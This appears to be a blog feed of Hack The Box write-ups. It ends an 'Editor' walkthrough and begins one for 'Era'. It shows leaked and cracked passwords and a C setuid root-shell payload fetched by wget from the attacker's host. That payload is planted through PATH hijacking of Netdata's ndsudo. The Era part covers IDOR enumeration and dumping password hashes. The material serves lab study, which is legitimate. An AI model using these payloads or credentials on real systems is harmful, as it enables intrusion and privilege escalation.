    &amp;lt;property name=&quot;hibernate.connection.password&quot;&amp;gt;&amp;lt;/property&amp;gt;
xwiki@editor:/home$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;We got the password of user &lt;code&gt;oliver&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;oliver&lt;/code&gt; : &lt;code&gt;theEd1t0rTeam99&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;SSH&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ssh oliver@editor.htb&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;
$ ssh oliver@editor.htb
The authenticity of host &apos;editor.htb (10.10.11.80)&apos; can&apos;t be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:53: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &apos;editor.htb&apos; (ED25519) to the list of known hosts.
oliver@editor.htb&apos;s password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-151-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed Jul  2 10:09:35 AM UTC 2025

  System load:  0.34               Processes:             174
  Usage of /:   38.3% of 13.68GB   Users logged in:       1
  Memory usage: 22%                IPv4 address for eth0: 10.10.11.80
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

4 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

4 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Aug 3 13:37:46 2025 from 10.10.16.53
oliver@editor:~$ ls
exploit.c  fakebin  linpeas.sh  nvme  user.txt
oliver@editor:~$ cat user.txt
ec58c231931342*****************
oliver@editor:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Privesc&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h2&amp;gt;Enumerate SUID Binaries&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;find / -perm -4000 -type f 2&amp;gt;/dev/null&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;oliver@editor:~$ find / -perm -4000 -type f 2&amp;gt;/dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network
/opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/local-listeners
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
/opt/netdata/usr/libexec/netdata/plugins.d/ioping
/opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
oliver@editor:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Inspect the ndsudo Binary Permissions&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;07.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Plain&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;p&gt;SUID (Set User ID) means that when a file (usually a binary) is executed, it runs with the permissions of the file owner—not the user running it.&lt;/p&gt;
&lt;p&gt;If the file is owned by root, then any user executing it will run it with root privileges.&lt;/p&gt;
&lt;p&gt;In this context, only users in the &lt;code&gt;netdata&lt;/code&gt; group are allowed to run the file (enforced by group permissions or ACLs).&lt;/p&gt;
&lt;p&gt;This is often used in monitoring setups to allow restricted users to run diagnostic tools with elevated privileges.&lt;/p&gt;
&lt;p&gt;:::CAUTION&lt;/p&gt;
&lt;p&gt;After Some Explores I Found some infos at &lt;code&gt;https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;08.png&quot; alt=&quot;alt text&quot; /&gt;
:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Create this &lt;code&gt;c&lt;/code&gt; Payload on your System&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;// 4o1.c
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main() {
    setuid(0);
    setgid(0);
    execl(&quot;/bin/bash&quot;, &quot;bash&quot;, &quot;-i&quot;, (char *)NULL);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Compile&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;gcc 4o1.c -o 4o1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Injecting Malicious Binary via PATH Manipulation&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
$ oliver@editor:~$ mkdir -p ~/fakebin &amp;amp;&amp;amp; wget -q http://10.10.16.53/4o1 -O ~/fakebin/4o1 &amp;amp;&amp;amp;
chmod +x ~/fakebin/4o1 &amp;amp;&amp;amp; export PATH=~/fakebin:$PATH
oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo megacli-disk-info
root@editor:/root# cat root.txt
9b087f0c1b038f19083d********
root@editor:/root# 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::Tip&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;p&gt;🔹 Vulnerability&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;ndsudo&lt;/code&gt; binary, included with the Netdata Agent and installed with the SUID bit, runs select system commands with root privileges. However, it fails to reference those commands using absolute paths, instead relying on the system’s &lt;code&gt;$PATH&lt;/code&gt; variable to locate executables like megacli. This creates an Untrusted Search Path vulnerability, allowing attackers to substitute malicious binaries in a higher-precedence directory within &lt;code&gt;$PATH&lt;/code&gt;, which ndsudo will execute as root.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;🔹 How to Discover&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Start by locating SUID binaries using &lt;code&gt;find / -perm 4000 -type f&lt;/code&gt;, then inspect &lt;code&gt;/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo&lt;/code&gt; to see which commands it allows. If the code doesn’t use full absolute paths for these commands, you can test for path hijacking by placing a fake binary in a writable directory and prepending it to $PATH before executing ndsudo.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;🔹 Impact&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Any user with permission to execute &lt;code&gt;ndsudo&lt;/code&gt; can gain root privileges by exploiting the untrusted &lt;code&gt;$PATH&lt;/code&gt; behavior. By placing a crafted malicious binary (with the same name as an allowed command) in a directory early in $PATH, the user can force ndsudo to execute that binary with elevated privileges, resulting in full system compromise.
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Era HTB Writeup (Protected)</title><link>https://shadowv0id.vercel.app/posts/hackthebox/era/s8_era/</link><guid isPermaLink="true">https://shadowv0id.vercel.app/posts/hackthebox/era/s8_era/</guid><description>Exploit PHP ssh2 extension</description><pubDate>Thu, 31 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
atOptions = {
&apos;key&apos; : &apos;5e20fa4a9329609198fd43c2b01a1bae&apos;,
&apos;format&apos; : &apos;iframe&apos;,
&apos;height&apos; : 90,
&apos;width&apos; : 728,
&apos;params&apos; : {}
};
&amp;lt;/script&amp;gt;
&amp;lt;script type=&quot;text/javascript&quot; src=&quot;//www.highperformanceformat.com/5e20fa4a9329609198fd43c2b01a1bae/invoke.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;script async=&quot;async&quot; data-cfasync=&quot;false&quot; src=&quot;//pl27351172.profitableratecpm.com/e8e96e069d8bb59ebeb0db9859431613/invoke.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;div id=&quot;container-e8e96e069d8bb59ebeb0db9859431613&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;script&amp;gt;
async function verifyHash() {
const passInput = document.getElementById(&quot;pass-input&quot;).value.trim();&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!passInput) {
  document.getElementById(&quot;error&quot;).textContent = &quot;❌ Please enter a password&quot;;
  return;
}

try {
  const response = await fetch(&quot;https://passowrd-backend-production.up.railway.app/api/unlock&quot;, {
    method: &quot;POST&quot;,
    headers: { &quot;Content-Type&quot;: &quot;application/json&quot; },
    body: JSON.stringify({ password: passInput, postId: &quot;era&quot; })
  });

  const res = await response.json();
  console.log(res);

  if (res.success) {
    document.getElementById(&quot;protected-content&quot;).style.display = &quot;block&quot;;
    document.getElementById(&quot;locked&quot;).style.display = &quot;none&quot;;
    document.getElementById(&quot;error&quot;).textContent = &quot;&quot;;
  } else {
    document.getElementById(&quot;error&quot;).textContent = &quot;❌ Wrong password&quot;;
  }
} catch (error) {
  console.error(&quot;Error during unlock:&quot;, error);
  document.getElementById(&quot;error&quot;).textContent = &quot;❌ Server error, try again later&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h2&amp;gt;Recon&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn

PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack vsftpd 3.0.5
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 0309B7B14DF62A797B431119ADB37B14
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Era Designs
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p&amp;gt;Unusual Footing: FTP Wide Open, but SSH Nowhere in Sight&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h3&gt;🌐 Web Application Overview&lt;/h3&gt;
&lt;p&gt;The target is a sleek design agency with a minimal web front, showcasing a few high-profile users.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;01.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Visually, the site appears minimal, with nothing immediately standing out.&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;locked&quot; style=&quot;
font-family: Arial, sans-serif;
max-width: 400px;
margin: 20px auto;
padding: 15px;
border-radius: 12px;
background: rgba(255, 255, 255, 0.25);
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
border: 1px solid rgba(255, 255, 255, 0.3);
box-shadow: 0 8px 32px 0 rgba(31, 38, 135, 0.37);
color: #1a1a1a;
&quot;&amp;gt;
&amp;lt;p style=&quot;font-weight: bold; font-size: 1.1rem; margin-bottom: 12px; color: #fff;&quot;&amp;gt;&amp;lt;strong&amp;gt;This writeup is password protected 🔒&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;input  style=&quot;width: 100%; padding: 8px 10px; font-size: 1rem; border: 1px solid rgba(255, 255, 255, 0.6); border-radius: 6px; box-sizing: border-box; margin-bottom: 10px; background: rgba(255,255,255,0.3); color: #0d1a36;&quot; id=&quot;pass-input&quot; type=&quot;password&quot; placeholder=&quot;Enter password&quot; /&amp;gt;
&amp;lt;button   style=&quot;width: 100%; background-color: rgba(0, 123, 255, 0.7); color: #e0eaff; border: none; padding: 10px; font-size: 1rem; border-radius: 6px; cursor: pointer; backdrop-filter: none;&quot; onclick=&quot;verifyHash()&quot;&amp;gt;Unlock&amp;lt;/button&amp;gt;
&amp;lt;p id=&quot;error&quot; style=&quot;color: #b00020; margin-top: 8px; font-size: 0.9rem;&quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;protected-content&quot; style=&quot;display:none&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;Subdomain&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
$ ffuf -c -u &quot;http://era.htb&quot; -H &quot;Host: FUZZ.era.htb&quot; -w ~/wordlists/seclists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt -t 50 -fs 154

        /&apos;___\  /&apos;___\           /&apos;___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb
 :: Wordlist         : FUZZ: /home/Axura/wordlists/seclists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 226ms]
:: Progress: [7920/1613291] :: Job [1/1] :: 230 req/sec :: Duration: [0:00:38] :: Errors: 0 ::

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Discovered &lt;code&gt;file.era.htb&lt;/code&gt;, a file management portal featuring upload capabilities, accessible only after login.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;However, a backup entry point appears to be lurking beneath the surface.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;An alternative login route is available through a &lt;code&gt;security question challenge&lt;/code&gt;.
&lt;img src=&quot;02.png&quot; alt=&quot;alt text&quot; /&gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tried to log in with different usernames—invalid ones give a clean &lt;code&gt;User not found&lt;/code&gt;.
&lt;img src=&quot;03.png&quot; alt=&quot;alt text&quot; /&gt;
Which clearly opens the door to user enumeration.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Dirsearch&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A classic &lt;code&gt;dirsearch&lt;/code&gt; scan is used to crawl the subdomain for hidden directories.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ dirsearch -u &apos;http://file.era.htb&apos; -x 404

  _|. _ _  _  _  _ _|_    v0.4.3.post1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/Axura/ctf/HTB/era/reports/http_file.era.htb/_25-07-26_19-51-54.txt

Target: http://file.era.htb/

[19:51:54] Starting:
[19:53:03] 301 -  178B  - /assets  -&amp;gt;  http://file.era.htb/assets/
[19:53:04] 403 -  564B  - /assets/
[19:53:28] 302 -    0B  - /download.php  -&amp;gt;  login.php
[19:53:35] 301 -  178B  - /files  -&amp;gt;  http://file.era.htb/files/
[19:53:35] 403 -  564B  - /files/
[19:53:35] 403 -  564B  - /files/cache/
[19:53:35] 403 -  564B  - /files/tmp/
[19:53:44] 301 -  178B  - /images  -&amp;gt;  http://file.era.htb/images/
[19:53:44] 403 -  564B  - /images/
[19:53:56] 200 -   34KB - /LICENSE
[19:53:58] 200 -    9KB - /login.php
[19:54:01] 200 -   70B  - /logout.php
[19:54:03] 302 -    0B  - /manage.php  -&amp;gt;  login.php
[19:54:27] 200 -    3KB - /register.php  
[19:54:43] 302 -    0B  - /upload.php  -&amp;gt;  login.php

Task Completed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Discovered a hidden   &lt;code&gt;register.php&lt;/code&gt; endpoint on the site.
&lt;img src=&quot;04.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After registering a new account, we can log in to the file management system.
&lt;img src=&quot;05.png&quot; alt=&quot;alt text&quot; /&gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;IDOR&amp;lt;/h1&amp;gt;
&amp;lt;h2&amp;gt;ID Enumeration&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After accessing the file management system with our registered account, we upload a test file to probe functionality.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;06.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It responds with a download URL like &lt;code&gt;http://file.era.htb/download.php?id=7638&lt;/code&gt;.
Tampering with the id parameter such as testing &lt;code&gt;id=1&lt;/code&gt; results in a clear rejection.
&lt;img src=&quot;07.png&quot; alt=&quot;alt text&quot; /&gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;script async=&quot;async&quot; data-cfasync=&quot;false&quot; src=&quot;//pl27351172.profitableratecpm.com/e8e96e069d8bb59ebeb0db9859431613/invoke.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;div id=&quot;container-e8e96e069d8bb59ebeb0db9859431613&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Classic IDOR fingerprint. Time to bring in BurpSuite Intruder or fuzz the id parameter manually with &lt;code&gt;ffuf&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ ffuf -u http://file.era.htb/download.php?id=FUZZ -b &quot;PHPSESSID=o3v60htqgmni2m6igo4ilhi47v&quot; -w &amp;lt;(seq 1 1000) -t 50 -fs 0 -mr &quot;.zip&quot; -c

        /&apos;___\  /&apos;___\           /&apos;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://file.era.htb/download.php?id=FUZZ
 :: Wordlist         : FUZZ: /proc/self/fd/11
 :: Header           : Cookie: PHPSESSID=o3v60htqgmni2m6igo4ilhi47v
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Regexp: .zip
 :: Filter           : Response size: 0
________________________________________________

54                      [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 375ms]
150                     [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 195ms]
:: Progress: [1000/1000] :: Job [1/1] :: 237 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Beyond our upload, two notable files appear at IDs &lt;code&gt;150&lt;/code&gt; and &lt;code&gt;54&lt;/code&gt;:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;ID &lt;code&gt;150&lt;/code&gt;: &lt;code&gt;signing.zip&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;ID &lt;code&gt;54&lt;/code&gt;: &lt;code&gt;site-backup-30-08-24.zip&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We download and extract both archive files.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ ll
total 2.0M
-rw-r--r-- 1 kali kali 2.7K Jul 01 20:24 signing.zip
-rw-r--r-- 1 kali kali 2.0M Jul 01 20:24 site-backup-30-08-24.zip

$ unzip signing.zip -d signing
Archive:  signing.zip
  inflating: signing/key.pem
  inflating: signing/x509.genkey
  
$ unzip site-backup-30-08-24.zip -d backup
Archive:  site-backup-30-08-24.zip
  inflating: backup/LICENSE
  inflating: backup/bg.jpg
   creating: backup/css/
  inflating: backup/css/main.css.save
  inflating: backup/css/main.css
  inflating: backup/css/fontawesome-all.min.css
  inflating: backup/css/noscript.css
   creating: backup/css/images/
 extracting: backup/css/images/overlay.png
  inflating: backup/download.php
  inflating: backup/filedb.sqlite
   creating: backup/files/
  inflating: backup/files/.htaccess
 extracting: backup/files/index.php
  inflating: backup/functions.global.php
  inflating: backup/index.php
  inflating: backup/initial_layout.php
  inflating: backup/layout.php
  inflating: backup/layout_login.php
  inflating: backup/login.php
  inflating: backup/logout.php
  inflating: backup/main.png
  inflating: backup/manage.php
  inflating: backup/register.php
  inflating: backup/reset.php
  
  ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h2&amp;gt;Downloads &amp;lt;/h2&amp;gt;
&amp;lt;h3&amp;gt;Signing&amp;lt;/h3&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;signing.zip&lt;/code&gt; contains two key files essential for certificate-based cryptography.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;key.pem&lt;/td&gt;
&lt;td&gt;A private key file in PEM format, used for signing certificates, creating JWT signatures, or enabling HTTPS.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;x509.genkey&lt;/td&gt;
&lt;td&gt;An OpenSSL configuration file or key generation template&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;If the application uses this key to sign requests, cookies, or tokens, it’s game over we gain the power to forge trusted credentials.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Check Backup&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The file &lt;code&gt;site-backup-30-08-24.zip&lt;/code&gt; is a treasure trove containing the full source code and database dump.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ tree backup

backup
├── bg.jpg
├── css
│   ├── fontawesome-all.min.css
│   ├── images
│   │   └── overlay.png
│   ├── main.css
│   ├── main.css.save
│   └── noscript.css
├── download.php
├── filedb.sqlite
├── files
│   └── index.php
├── functions.global.php
├── index.php
├── initial_layout.php
├── layout_login.php
├── layout.php
├── LICENSE
├── login.php
├── logout.php
├── main.png
├── manage.php
├── register.php
├── reset.php
├── ...

10 directories, 62 files
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We can access the database using &lt;code&gt;sqlite3&lt;/code&gt;:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;
$ sqlite3 backup/filedb.sqlite
SQLite version 3.49.1 2025-02-18 13:38:58
Enter &quot;.help&quot; for usage hints.

sqlite&amp;gt; .tables
files  users

sqlite&amp;gt; SELECT * FROM users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The password hashes use bcrypt, but due to low cost factors, we successfully cracked the passwords for &lt;code&gt;eric&lt;/code&gt; and &lt;code&gt;yuri&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;eric: america
yuri: mustang
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div&amp;gt;
&amp;lt;script async=&quot;async&quot; data-cfasync=&quot;false&quot; src=&quot;//pl27351172.profitableratecpm.com/e8e96e069d8bb59ebeb0db9859431613/invoke.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;div id=&quot;container-e8e96e069d8bb59ebeb0db9859431613&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The same credentials were confirmed earlier through brute force, though the password for the admin user &lt;code&gt;admin_ef01cab31aa&lt;/code&gt; remains uncrackable.
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;Source Dive&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We’ve now gathered a substantial set of resources for analysis.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ tree . -L2

.
├── apache2_conf
│   ├── 000-default.conf
│   ├── apache2.conf
│   ├── file.conf
│   └── ports.conf
├── backup
│   ├── bg.jpg
│   ├── css
│   ├── download.php
│   ├── filedb.sqlite
│   ├── files
│   ├── functions.global.php
│   ├── index.php
│   ├── initial_layout.php
│   ├── layout_login.php
│   ├── layout.php
│   ├── LICENSE
│   ├── login.php
│   ├── logout.php
│   ├── main.png
│   ├── manage.php
│   ├── register.php
│   ├── reset.php
│   ├── sass
│   ├── screen-download.png
│   ├── screen-login.png
│   ├── screen-main.png
│   ├── screen-manage.png
│   ├── screen-upload.png
│   ├── security_login.php
│   ├── upload.php
│   └── webfonts
├── php8.1_conf
│   ├── build
│   ├── calendar.so
│   ├── ctype.so
│   ├── dom.so
